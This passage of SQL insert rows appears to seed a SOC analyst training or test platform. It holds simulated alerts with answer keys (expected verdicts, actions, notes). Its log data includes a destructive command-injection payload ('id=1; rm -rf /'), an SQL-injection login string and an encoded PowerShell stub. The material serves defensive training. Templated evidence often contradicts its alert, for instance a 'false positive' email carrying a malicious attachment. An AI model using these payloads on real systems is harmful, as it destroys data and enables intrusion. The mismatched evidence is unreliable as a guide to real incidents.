Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(725, 'Cozy Bear Command Injection via Web Request', 'critical', 'Wazuh', 'A command injection attempt was detected via a vulnerable web application endpoint, originating from a Cozy Bear associated IP.', 'Web Attack', 'T1190', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T14:02:59Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"192.168.1.200\",\"username\":\"webapp\",\"hostname\":\"WEB-SERVER-03\",\"request_body\":\"id=1; rm -rf /\",\"url\":\"http://victim-site.com/update\"}', '2026-01-11 02:15:21', '2026-02-16 18:03:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple Cozy Bear related attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"id=1; rm -rf /\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection attempt detected\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://victim-site.com/update\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"URL targeted in previous Cozy Bear campaigns\"}}],\"expected_actions\":[\"block_ip\",\"patch_vulnerability\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The command injection payload and known Cozy Bear IP confirm this as a true positive.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.371Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:02:59Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"webapp\\\",\\\"hostname\\\":\\\"WEB-SERVER-03\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://victim-site.com/update\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.371Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:02:59Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"webapp\\\",\\\"hostname\\\":\\\"WEB-SERVER-03\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://victim-site.com/update\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.371Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:02:59Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"webapp\\\",\\\"hostname\\\":\\\"WEB-SERVER-03\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://victim-site.com/update\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.371Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:02:59Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"webapp\\\",\\\"hostname\\\":\\\"WEB-SERVER-03\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://victim-site.com/update\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.371Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:02:59Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"webapp\\\",\\\"hostname\\\":\\\"WEB-SERVER-03\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://victim-site.com/update\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(726, 'False Positive: Legitimate Network Activity Misidentified as Brute Force', 'medium', 'Splunk', 'Multiple login attempts were detected from an internal network IP address. The activity was later confirmed to be a legitimate script testing user access.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:50:12Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"192.168.1.30\",\"username\":\"testuser\",\"hostname\":\"AUTH-SERVER\",\"failed_attempts\":15}', '2026-01-10 01:14:37', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for legitimate script execution\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"testuser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"User account involved in authorized testing\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The alert was a false positive as the activity was part of a legitimate internal testing process.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.372Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:50:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"AUTH-SERVER\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:31:22.372Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:50:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"AUTH-SERVER\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:30:22.372Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:50:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"AUTH-SERVER\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:29:22.372Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:50:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"AUTH-SERVER\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:28:22.372Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:50:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"AUTH-SERVER\\\",\\\"failed_attempts\\\":15}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(727, 'Phishing Email Detected with Malicious URL', 'high', 'Proofpoint', 'A phishing email was detected attempting to harvest credentials using a malicious URL disguised as an Office365 login page.', 'Phishing', 'T1566', 1, 'investigating', 85, '{\"timestamp\":\"2026-01-11T09:15:23Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"10.0.0.5\",\"username\":\"jdoe@examplecorp.com\",\"hostname\":\"mailserver.examplecorp.com\",\"email_sender\":\"support@off1ce365-login.com\",\"url\":\"http://off1ce365-login.com/login\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-01-11 05:36:16', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"support@off1ce365-login.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain registered 3 days ago and associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://off1ce365-login.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting phishing page mimicking Office365 login\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal email server IP\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a known phishing URL and a suspicious sender domain indicating a phishing attempt.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected with Malicious URL\",\"date\":\"2026-02-01T20:32:22.373Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(728, 'Brute Force Attack Detected from Known Malicious IP', 'critical', 'Wazuh', 'Multiple failed login attempts detected from a foreign IP, indicating a brute force attack targeting the internal network.', 'Brute Force', 'T1110', 1, 'Closed', 93, '{\"timestamp\":\"2026-01-11T11:32:13Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.10\",\"username\":\"administrator\",\"hostname\":\"server01.examplecorp.com\",\"request_body\":\"\",\"command_line\":\"\",\"failed_attempts\":37}', '2026-01-09 18:10:39', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 174 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common administrative account targeted in attacks\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network server\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The attack originated from a known malicious IP with multiple failed login attempts, indicating brute force activity.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.374Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:32:13Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server01.examplecorp.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":37}\"},{\"timestamp\":\"2026-02-01T20:31:22.374Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:32:13Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server01.examplecorp.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":37}\"},{\"timestamp\":\"2026-02-01T20:30:22.374Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:32:13Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server01.examplecorp.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":37}\"},{\"timestamp\":\"2026-02-01T20:29:22.374Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:32:13Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server01.examplecorp.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":37}\"},{\"timestamp\":\"2026-02-01T20:28:22.374Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:32:13Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server01.examplecorp.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":37}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(729, 'Malware Detected via Suspicious Process Execution', 'high', 'CrowdStrike', 'A malicious executable was detected running on an endpoint, identified by its known malware hash.', 'Malware', 'T1059', 1, 'Closed', 141, '{\"timestamp\":\"2026-01-11T14:05:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.20\",\"dst_ip\":\"\",\"username\":\"jane.doe\",\"hostname\":\"workstation01.examplecorp.com\",\"request_body\":\"\",\"command_line\":\"C:\\\\malicious_folder\\\\malware.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-11 06:28:28', '2026-02-12 04:13:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected by 63 antivirus engines\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malicious_folder\\\\malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable identified as malware with C2 communication\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal workstation IP\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is widely recognized as malicious, and the process execution is anomalous for the user.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(730, 'Suspicious Email Flagged as False Positive', 'medium', 'Email Gateway', 'An email was flagged as suspicious due to a lookalike domain, but the sender is verified as legitimate.', 'Phishing', 'T1566', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T16:48:30Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"10.0.0.5\",\"username\":\"john.smith@examplecorp.com\",\"hostname\":\"mailserver.examplecorp.com\",\"email_sender\":\"billing@examp1ecorp.com\",\"url\":\"http://examp1ecorp.com/invoice\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-01-10 08:48:40', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"billing@examp1ecorp.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Verified sender; domain used by billing department\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://examp1ecorp.com/invoice\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain resembles legitimate company domain but is legitimate\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal email server IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The sender and domain have been verified as legitimate, marking this as a false positive.\"}', 'Novice', 'NDR', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Flagged as False Positive\",\"date\":\"2026-02-01T20:32:22.376Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(731, 'Spear Phishing Attempt with Malicious URL Detected', 'high', 'Proofpoint', 'A spear phishing email was detected attempting to lure a user to a malicious website. The email impersonated the CEO and contained a link to a lookalike domain.', 'Phishing', 'T1566', 1, 'Closed', 142, '{\"timestamp\":\"2026-01-11T09:15:32Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"j.doe@company.com\",\"hostname\":\"workstation-01\",\"email_sender\":\"ceo@company-secure.com\",\"domain\":\"company-secure.com\",\"url\":\"http://secure-company.com/login\"}', '2026-01-11 08:10:28', '2026-03-07 05:12:35', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"ceo@company-secure.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used in phishing campaigns targeting corporate users.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://secure-company.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing attacks impersonating company executives.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the recipient\'s workstation.\"}}],\"expected_actions\":[\"reset_credentials\",\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email originated from a known malicious domain impersonating the CEO, and the URL is flagged as malicious.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Attempt with Malicious URL Detected\",\"date\":\"2026-02-01T20:32:22.377Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(732, 'Credential Harvesting via Office365 Phishing Page', 'critical', 'Email Gateway', 'An email was detected redirecting the user to an Office365 lookalike login page to steal credentials. The domain used was not authorized by the organization.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T11:42:18Z\",\"event_type\":\"email_received\",\"src_ip\":\"202.54.1.1\",\"dst_ip\":\"10.0.0.12\",\"username\":\"a.smith@company.com\",\"hostname\":\"workstation-02\",\"email_sender\":\"office365@security-alert.com\",\"domain\":\"security-alert.com\",\"url\":\"http://office-login.com/verify\"}', '2026-01-10 11:41:11', '2026-02-15 08:27:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"office365@security-alert.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Email address involved in phishing attempts targeting Office365 users.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://office-login.com/verify\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"URL identified as phishing site mimicking Office365 login page.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the recipient\'s workstation.\"}}],\"expected_actions\":[\"reset_credentials\",\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a URL that leads to a phishing page designed to steal Office365 credentials.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Credential Harvesting via Office365 Phishing Page\",\"date\":\"2026-02-01T20:32:22.378Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(733, 'Business Email Compromise Attempt via Lookalike Domain', 'medium', 'Proofpoint', 'An email pretending to be from a trusted partner was detected with a request for an urgent transaction. The sender\'s domain closely resembles an official domain but is slightly altered.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-01-11T13:05:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.50\",\"dst_ip\":\"10.0.0.8\",\"username\":\"c.brown@company.com\",\"hostname\":\"workstation-03\",\"email_sender\":\"partner@trusted-secure.com\",\"domain\":\"trusted-secure.com\",\"url\":\"http://secure-trusted.com/transaction\"}', '2026-01-09 17:01:50', '2026-03-06 10:30:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"partner@trusted-secure.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain closely resembling a trusted partner, associated with BEC attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://secure-trusted.com/transaction\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL used in BEC scams to redirect users to fraudulent transaction pages.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the recipient\'s workstation.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The sender\'s domain is a lookalike of a trusted partner, used in a BEC attempt to request a fraudulent transaction.\"}', 'Beginner', 'NDR', 3, 1, 'GOVERNMENT', NULL, NULL, 